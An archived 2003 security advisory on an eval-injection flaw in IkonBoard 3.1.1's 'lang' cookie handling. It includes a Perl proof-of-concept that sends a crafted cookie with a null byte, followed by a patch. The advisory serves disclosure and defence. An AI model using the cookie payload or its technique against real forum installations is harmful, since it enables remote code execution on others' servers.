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TUCoPS :: Web BBS :: etc :: a6111.htm

IkonBoard arbitrary command execution



6th Apr 2003 [SBWID-6111]
COMMAND

	IkonBoard arbitrary command execution

SYSTEMS AFFECTED

	IkonBoard v3.1.1 (and probably earlier)

PROBLEM

	In Nick Cleaton [nick@cleaton.net] advisory :
	
	IkonBoard (http://www.ikonboard.com/) is a  comprehensive  web  bulletin
	board system, implemented as a Perl/CGI script.
	
	There is a flaw in the Perl  code  that  cleans  up  user  input  before
	interpolating it into a  string  which  gets  passed  to  Perl's  eval()
	function, allowing an attacker to evaluate arbitrary Perl and hence  run
	arbitrary commands.
	
	The flaw is in the code that cleans up the value of the  'lang'  cookie,
	in sub LoadLanguage in Sources/Lib/FUNC.pm:
	
	 # Make sure the cookie data is legal
	 if ($iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'}) {
	     $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/;
	 }
	
	If the cookie contains illegal characters then the s/// operation  fails
	to match and the bad cookie value is left in place, so this  code  fails
	to do any validation.
	
	The cookie value is then interpolated into a directory  name,  which  is
	in turn interpolated into a string passed to the  eval  function.  There
	is a check that the directory exists,  but  use  of  the  poisoned  null
	technique allows that check to be bypassed.
	
	 Exploit
	 =======
	
	The following proof of concept exploit demonstrates that the problem  is
	exploitable by causing a syntax error in the  eval().  The  Perl  syntax
	error message in the returned HTML proves  that  the  exploit  has  been
	able to inject Perl source code into the eval.
	
	I have refrained from publishing  a  more  functional  exploit  at  this
	time, to delay attacks against  IkonBoard  installations.  Note  however
	that it would take only a few minutes  for  a  reasonably  knowledgeable
	attacker to write an exploit that runs arbitrary Perl.
	
	----- cut here -----
	#!/usr/bin/perl -w
	use strict;
	
	my $HOST = 'www.example.domain';
	my $PATH = '/cgi-bin/ikonboard.cgi';
	
	use IO::Socket;
	
	my $sock = IO::Socket::INET->new("$HOST:80") or die "connect: $!";
	
	$sock->print(<<END) or die "write: $!";
	GET $PATH HTTP/1.1
	Host: $HOST
	Cookie: lang=%2E%00%22
	Connection: close
	
	END
	
	print while <$sock>;
	
	----- cut here -----
	

SOLUTION

	 Suggested Fix
	 =============
	
	Either apply the  attached  patch  to  Sources/Lib/FUNC.pm  on  the  web
	server, or make the following changes by hand:
	
	
	At line 104 of Sources/Lib/FUNC.pm is the code:
	
	    $sid =~ s/^(\d+)$/$1/;
	
	... change it to:
	
	    $sid =~ s/^(\d+)$/$1/ or die 'bad sid cookie value';
	
	
	At line 191 of Sources/Lib/FUNC.pm is the code:
	
	       $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/;
	
	... change it to:
	
	       $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~
	                s/^([\d\w]+)$/$1/ or die 'bad lang cookie value';
	
	
	
	--qMm9M+Fa2AknHoGS
	Content-Type: text/plain; charset=us-ascii
	Content-Disposition: attachment; filename="patch.txt"
	
	diff -Nurd Sources.orig/Lib/FUNC.pm Sources/Lib/FUNC.pm
	--- Sources.orig/Lib/FUNC.pm	Sun Jul 14 00:47:08 2002
	+++ Sources/Lib/FUNC.pm	Mon Feb  3 09:39:48 2003
	@@ -101,7 +101,7 @@
	 
	 	my $sid = $iB::IN{'sid'} || $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'skin'};
	 	# Make sure it only contains a number
	-	$sid =~ s/^(\d+)$/$1/;
	+	$sid =~ s/^(\d+)$/$1/ or die "invalid sid value";
	 
	 	# Make sure we have a default skin set
	 
	@@ -188,7 +188,8 @@
	 
	 	# Make sure the cookie data is legal
	 	if ($iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'}) {
	-		$iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/;
	+		$iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/
	+			or die "invalid lang cookie value";
	 	}
	 
	 	$default = $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'}
	
	--qMm9M+Fa2AknHoGS--
	


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